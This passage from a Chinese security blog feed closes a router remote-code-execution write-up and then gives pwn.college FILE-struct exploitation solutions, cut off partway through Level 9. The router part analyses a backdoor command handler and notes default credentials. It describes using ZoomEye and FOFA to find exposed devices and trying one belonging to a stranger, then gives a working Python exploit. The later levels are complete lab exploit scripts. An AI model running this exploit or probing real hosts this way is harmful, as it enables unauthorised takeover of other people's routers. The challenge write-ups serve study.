&lt;p&gt;盲猜这个路由器就是通过它来启服务的。找到入口后，发现是 ELF 文件，那就丢给 IDA 姐姐分析一下看看它偷偷摸摸地在幕后做了些什么坏坏的事情（&lt;/p&gt;
&lt;p&gt;&lt;s&gt;然后发现已经快凌晨四点了，这说明白天睡觉的效益并不大，早岁晚起才是真理（&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;粗略看了一下，就是很常规的启动 web 服务器，注册 &lt;code&gt;cgi-bin&lt;/code&gt; 和 &lt;code&gt;goform&lt;/code&gt; handlers 用于执行实际操作：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.86u2q7x1v4.avif&quot; alt=&quot;&quot; /&gt;
其中有一个疑似后门的 form handler：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2vf65igjir.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;直接进入函数分析分析它到底干了点啥：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall formSysCmd(int a1)
{
  int Var; // $s4
  const char *v3; // $s1
  _BYTE *v4; // $s5
  int v5; // $s6
  const char *p_writepath; // $s3
  _BYTE *v7; // $s7
  int v8; // $v0
  _DWORD *v9; // $s0
  int v10; // $a0
  const char *Var_1; // $a1
  int v12; // $v0
  int v13; // $s1
  void (__fastcall *p_fputc)(int, _DWORD *); // $t9
  _BYTE *v15; // $a0
  _BYTE *v16; // $a3
  int v17; // $a0
  int v18; // $v0
  char p_writepath_1[104]; // [sp+20h] [-68h] BYREF

  Var = websGetVar(a1, &quot;submit-url&quot;, &amp;amp;dword_47F498);
  v3 = (const char *)websGetVar(a1, &quot;sysCmd&quot;, &amp;amp;dword_47F498);
  v4 = (_BYTE *)websGetVar(a1, &quot;writeData&quot;, &amp;amp;dword_47F498);
  v5 = websGetVar(a1, &quot;filename&quot;, &amp;amp;dword_47F498);
  p_writepath = (const char *)websGetVar(a1, &quot;fpath&quot;, &amp;amp;dword_47F498);
  v7 = (_BYTE *)websGetVar(a1, &quot;readfile&quot;, &amp;amp;dword_47F498);
  if ( *v3 )
  {
    snprintf(p_writepath_1, 100, &quot;%s 2&amp;gt;&amp;amp;1 &amp;gt; %s&quot;, v3, &quot;/tmp/syscmd.log&quot;);
    system(p_writepath_1);
  }
  if ( *v4 )
  {
    strcpy(p_writepath_1, p_writepath);
    strcat(p_writepath_1, v5);
    v8 = fopen(p_writepath_1, &quot;w&quot;);
    v9 = (_DWORD *)v8;
    if ( !v8 )
    {
      printf(&quot;Open %s fail.\n&quot;, p_writepath_1);
      v10 = a1;
      Var_1 = (const char *)Var;
      return websRedirect(v10, Var_1);
    }
    v13 = 0;
    v12 = fileno(v8);
    fchmod(v12, 511);
    if ( *(int *)(a1 + 240) &amp;gt; 0 )
    {
      while ( 1 )
      {
        p_fputc = (void (__fastcall *)(int, _DWORD *))&amp;amp;fputc;
        if ( !v9[13] )
          break;
        v15 = (_BYTE *)v9[4];
        p_fputc = (void (__fastcall *)(int, _DWORD *))&amp;amp;_fputc_unlocked;
        v16 = (_BYTE *)(*(_DWORD *)(a1 + 204) + v13);
        if ( (unsigned int)v15 &amp;gt;= v9[7] )
        {
          v17 = (char)*v16;
LABEL_12:
          p_fputc(v17, v9);
          goto LABEL_13;
        }
        *v15 = *v16;
        v9[4] = v15 + 1;
LABEL_13:
        if ( ++v13 &amp;gt;= *(_DWORD *)(a1 + 240) )
          goto LABEL_14;
      }
      v17 = *(char *)(*(_DWORD *)(a1 + 204) + v13);
      goto LABEL_12;
    }
LABEL_14:
    fclose(v9);
    printf(&quot;Write to %s\n&quot;, p_writepath_1);
    strcpy(&amp;amp;writepath, p_writepath);
  }
  if ( *v7 &amp;amp;&amp;amp; (v18 = fopen(p_writepath, &quot;r&quot;)) != 0 )
  {
    fclose(v18);
    sprintf(p_writepath_1, &quot;cat %s &amp;gt; /web/obama.dat&quot;, p_writepath);
    system(p_writepath_1);
    usleep(10000);
    v10 = a1;
    Var_1 = &quot;/obama.dat&quot;;
  }
  else
  {
    v10 = a1;
    Var_1 = (const char *)Var;
  }
  return websRedirect(v10, Var_1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们发现它获取了 &lt;code&gt;sysCmd&lt;/code&gt; 后并构造了一个 &lt;code&gt;&amp;lt;sysCmd&amp;gt; 2&amp;gt;&amp;amp;1 &amp;gt; /tmp/syscmd.log&lt;/code&gt; 指令，保存在 &lt;code&gt;p_writepath_1&lt;/code&gt;，然后直接调用 &lt;code&gt;system(p_writepath_1)&lt;/code&gt;。那我们如果可以控制 &lt;code&gt;sysCmd&lt;/code&gt; 的话就能执行任意代码了，所以下面应该找一下哪里使用了这个 form。&lt;/p&gt;
&lt;p&gt;下面是使用 &lt;code&gt;ripgrep&lt;/code&gt; 搜索的结果：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.icjoboa0g.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现除了 &lt;code&gt;webs&lt;/code&gt; 这个二进制文件外，还有 &lt;code&gt;web/syscmd.asp&lt;/code&gt; 和 &lt;code&gt;web/obama.asp&lt;/code&gt; 也包含了这个 form，直接跟进，对比发现这两个文件的区别就在于提供的功能数量，&lt;code&gt;obama.asp&lt;/code&gt; 比 &lt;code&gt;syscmd.asp&lt;/code&gt; 多提供了操作文件的功能，而我们最关心的 &lt;code&gt;sysCmd&lt;/code&gt; 被定义为一个输入框，即我们可控它的内容：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8vnca9oewj.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.b9bswhjgx.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;漏洞利用&lt;/h1&gt;
&lt;p&gt;上面有关这个 CVE 的漏洞分析的就差不多了，我们可以试试能不能直接访问 &lt;code&gt;syscmd.asp&lt;/code&gt; 和 &lt;code&gt;obama.asp&lt;/code&gt; 这两个页面，不过测试发现没登陆的情况下访问会被重定向回到登陆页面，网上搜到了这个路由器的默认账号密码是 &lt;code&gt;admin/admin&lt;/code&gt;，用它登陆后再访问就进去了，发现和我们分析的一模一样，可以执行任意指令，并且 &lt;code&gt;obama.asp&lt;/code&gt; 的功能更多：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.39llwf4kv9.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7axlat99wc.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;btw 有些不同型号的是 &lt;code&gt;htm&lt;/code&gt; 而不是 &lt;code&gt;asp&lt;/code&gt;，这个可以自己测试一下。&lt;/p&gt;
&lt;p&gt;&lt;s&gt;不过为什么要用美国总统的名字？？好奇怪呀……&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;资产收集&lt;/h2&gt;
&lt;p&gt;只是打本地多没意思，我们玩的可是实战。本来只是抱着试一试的心态尝试 &lt;code&gt;ZoomEye&lt;/code&gt; 和 &lt;code&gt;FOFA&lt;/code&gt; 看看能不能找到一别暴露在公网的服务，结果意外地搜出一堆……大家安全意识都那么薄弱的吗？而且测试发现大多数暴露在外的服务都没有修复这个漏洞，随便抓一个倒霉蛋发现甚至连默认账号密码都没改，有些甚至不用登陆就直接进管理面板了……&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.60uo4iuufg.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3uv9ir36of.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;p&gt;开开心心去写 exp 咯～&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import requests
from pwn import log, sys


def rce(host, port, cmd):
    payload = {
        &quot;sysCmd&quot;: cmd,
        &quot;apply&quot;: &quot;Apply&quot;,
        &quot;submit-url&quot;: &quot;/obama.asp&quot;,
    }

    try:
        r = requests.post(
            f&quot;http://{host}:{port}/goform/formSysCmd&quot;,
            data=payload,
            timeout=5,
        )
    except Exception as e:
        log.error(f&quot;HTTP request failed: {e}&quot;)

    text = r.text
    start_tag = &apos;&amp;lt;textarea rows=&quot;15&quot; name=&quot;msg&quot; cols=&quot;80&quot; wrap=&quot;virtual&quot;&amp;gt;&apos;
    end_tag = &quot;&amp;lt;/textarea&amp;gt;&quot;

    start = text.find(start_tag)
    end = text.rfind(end_tag)

    if start &amp;lt; 0 or end &amp;lt; 0:
        log.warn(&quot;Output parsing failed.&quot;)
        return text

    return text[start + len(start_tag) : end]


def main():
    log.success(rce(sys.argv[1], sys.argv[2], sys.argv[3]))


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.73udfh0vwj.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;修复建议&lt;/h1&gt;
&lt;p&gt;这种后门页面完全没必要公开出来吧，应该直接删掉才是，而且我并没有看到有什么地方需要用到这个后门页面进行什么操作。就算要保留也应该对可以使用的指令做一个过滤才是。&lt;/p&gt;
&lt;h1&gt;后记&lt;/h1&gt;
&lt;p&gt;至此，人生中第一个路由器 RCE 漏洞复现成功，我也算是真正步入 IoT 的世界了，不过说实话从这个漏洞中我可能并没有学到太多东西，只是对如何寻找漏洞，对常见路由器设备的架构以及其可能的攻击面有了一个粗略的了解吧，总的来说收获不是很大，但这个独自研究摸索的过程还是很快乐的。&lt;/p&gt;
</content:encoded></item><item><title>Write-ups: Software Exploitation (File Struct Exploits) series (Completed)</title><link>https://cubeyond.net/posts/write-ups/pwncollege-file-struct-exploits/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/pwncollege-file-struct-exploits/</guid><description>Write-ups for pwn.college binary exploitation series.</description><pubDate>Mon, 03 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;Finally，花了五个月差不多把 pwn 学完了，至于剩下的内核什么的后期就当兴趣学了，应该不会变成我的主要研究方向，所以等学完这两章 FSOP 的内容我就去搞 IoT，&lt;s&gt;也能想象明年开始将全力以赴打比赛，暗无天日的坐牢（&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;总之希望竞赛时期不要太长，最好能够一年退役，我可不想整个大学生活都在坐牢 LOL&lt;/p&gt;
&lt;h1&gt;Level 1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Harness the power of FILE structs to arbitrarily read data.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;&lt;s&gt;最简单的一集。&lt;/s&gt; chall 把 flag 读到 bss 了，并且没开 PIE，还给了任意写 FILE 结构体的能力，直接用 pwntools 秒了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyfile_level1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    flag = 0x4040E0

    fp = FileStructure()
    payload = flat(fp.write(flag, 0x64))

    target.send(payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 2&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Harness the power of FILE structs to arbitrarily write data to bypass a security check.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;验证变量，构造任意读即可。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyfile_level2&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    authenticated = 0x4041F8

    fp = FileStructure()
    payload = flat(fp.read(authenticated, 0x101))

    target.success(fp)

    target.send(payload)
    target.sendline(b&quot;A&quot; * 0xFF)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 3&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Harness the power of FILE structs to redirect data output.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;以后每题都那么简单就好了（&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyfile_level3&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.send(b&quot;\x01&quot;)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 4&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Harness the power of FILE structs to arbitrarily read/write data to hijack control flow.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;越来越有趣了之，File Structure 的千层套路（&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyfile_level4&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b&quot;stored at: &quot;)
    ret = int(target.recvline().strip(), 16)

    fp = FileStructure()
    payload = flat(fp.read(ret, 0x101))

    target.send(payload)
    target.send(flat(elf.sym[&quot;win&quot;]).ljust(0x101, b&quot;\x00&quot;))

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 5&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Abuse built-in FILE structs to leak sensitive information.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;能改 stdout 结构体，并且 &lt;code&gt;puts&lt;/code&gt; 函数内部会使用 stdout 结构体中的指针来输出值，所以我们只要改掉 write 的几个指针，过一下检查，并且把 flag 设置为 &lt;code&gt;0xfbad1800&lt;/code&gt; 就好了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int
_IO_puts (const char *str)
{
  int result = EOF;
  size_t len = strlen (str);
  _IO_acquire_lock (stdout);

  if ((_IO_vtable_offset (stdout) != 0
       || _IO_fwide (stdout, -1) == -1)
      &amp;amp;&amp;amp; _IO_sputn (stdout, str, len) == len
      &amp;amp;&amp;amp; _IO_putc_unlocked (&apos;\n&apos;, stdout) != EOF)
    result = MIN (INT_MAX, len + 1);

  _IO_release_lock (stdout);
  return result;
}

weak_alias (_IO_puts, puts)
libc_hidden_def (_IO_puts)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;0x1000&lt;/code&gt; 代表追加到当前 fileno 后面，&lt;code&gt;0x0800&lt;/code&gt; 代表正在执行写入操作。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING      0x1000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不过实际上我们也不用改那么多 write 指针，只要把最重要的 &lt;code&gt;_IO_write_base&lt;/code&gt; 改掉就好了，剩下的使用残留值。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyfile_level5&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    flag = 0x4040C0

    fp = FileStructure()
    fp.flags = 0xFBAD1800
    fp._IO_write_base = flag
    fp._IO_write_ptr = flag + 0x64
    fp._IO_write_end = flag + 0x64
    payload = flat(fp.struntil(&quot;_IO_write_end&quot;))

    raw_input(&quot;DEBUG&quot;)
    target.send(payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 6&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Abuse built-in FILE structs to bypass a security check.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;上题是改 stdout 使 puts 任意写，这题是改 stdio 使 scanf 任意读。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;scanf&lt;/code&gt; 的话只要设置 &lt;code&gt;_IO_NO_WRITES&lt;/code&gt; 标志并设置 &lt;code&gt;_IO_buf_base&lt;/code&gt; 和 &lt;code&gt;_IO_buf_end&lt;/code&gt; 就好了，和那几个 read 指针无关。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyfile_level6&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    authenticated = 0x4041F8

    fp = FileStructure()
    fp.flags = 0xFBAD0008
    fp._IO_buf_base = authenticated
    fp._IO_buf_end = authenticated + 0x8
    payload = flat(fp.struntil(&quot;_IO_buf_end&quot;))

    raw_input(&quot;DEBUG&quot;)
    target.send(payload)
    target.sendlineafter(b&quot;Please log in.&quot;, b&quot;\x01&quot;)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 7&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Create a fake _wide_data struct to hijack control of the virtual function table of a FILE struct.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;人生中第一道 vtable，也是灰常的简单呢 :D 一开始我看这 description 说是打 vtable 还感觉可能有点难，然非也哈哈哈。&lt;/p&gt;
&lt;p&gt;这题就是折腾折腾几个指针而已，要点就是让调用 &lt;code&gt;fwrite&lt;/code&gt; 时使用的 FILE structure 的 &lt;code&gt;vtable + 0x38&lt;/code&gt; 处保存 &lt;code&gt;__GI__IO_wfile_overflow&lt;/code&gt; 的地址，然后这个 &lt;code&gt;__GI__IO_wfile_overflow&lt;/code&gt; 内部会调用 &lt;code&gt;_IO_wdoallocbuf&lt;/code&gt;，这个函数内部又会调用传给 &lt;code&gt;fwrite&lt;/code&gt; 的 FILE structure 的 &lt;code&gt;_wide_data + 0x68&lt;/code&gt; 处的函数，我们伪造 &lt;code&gt;_wide_data&lt;/code&gt;，令其 &lt;code&gt;+0x68&lt;/code&gt; 处保存的是 &lt;code&gt;win&lt;/code&gt; 函数地址即可。&lt;/p&gt;
&lt;p&gt;一题打消第一次接触 vtable 的恐惧，开心。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyfile_level7&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b&quot;libc is: &quot;)
    libc = int(target.recvline().strip(), 16) - 0x84420
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recvuntil(b&quot;located at: &quot;)
    buf = int(target.recvline().strip(), 16)

    target.success(f&quot;libc: {hex(libc)}&quot;)
    target.success(f&quot;buf: {hex(buf)}&quot;)

    payload = flat(
        {
            0x68: elf.sym[&quot;win&quot;],
            0xE0: buf,
        },
        filler=b&quot;\x00&quot;,
    )
    raw_input(&quot;DEBUG&quot;)
    target.sendafter(b&quot;Please enter your name.\n&quot;, payload)

    fp = FileStructure()
    fp._lock = buf
    fp._wide_data = buf
    fp.vtable = __GI__IO_wfile_overflow

    raw_input(&quot;DEBUG&quot;)
    target.sendafter(
        b&quot;Now reading from stdin directly to the FILE struct.\n&quot;, bytes(fp)
    )

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 8&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Create a fake _wide_data struct to hijack control of the virtual function table of a FILE struct.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;和上题差不多，结构体 overlapping 就好了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyfile_level8&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b&quot;libc is: &quot;)
    libc = int(target.recvline().strip(), 16) - 0x84420
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recvuntil(b&quot;writing to: &quot;)
    buf = int(target.recvline().strip(), 16)

    target.success(f&quot;libc: {hex(libc)}&quot;)
    target.success(f&quot;buf: {hex(buf)}&quot;)

    fp = FileStructure()
    fp._lock = buf
    fp._wide_data = buf
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = elf.sym[&quot;win&quot;]

    payload = flat(
        bytes(fp),
        buf,
    )

    raw_input(&quot;DEBUG&quot;)
    target.send(payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 9&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Create a fake _wide_data struct to hijack control of the virtual function table of a built-in FILE struct.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;做 flag 梦，下 flag 雨（&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyfile_level9&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b&quot;libc is: &quot;)
    libc = int(target.recvline().strip(), 16) - 0x84420
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recvuntil(b&quot;_IO_read_ptr&quot;)
    buf = int(target.recvline().strip()[-14:], 16) - 0x83

    target.success(f&quot;libc: {hex(libc)}&quot;)
    target.success(f&quot;buf: {hex(buf)}&quot;)

    fp = FileStructure()
    fp._lock = buf
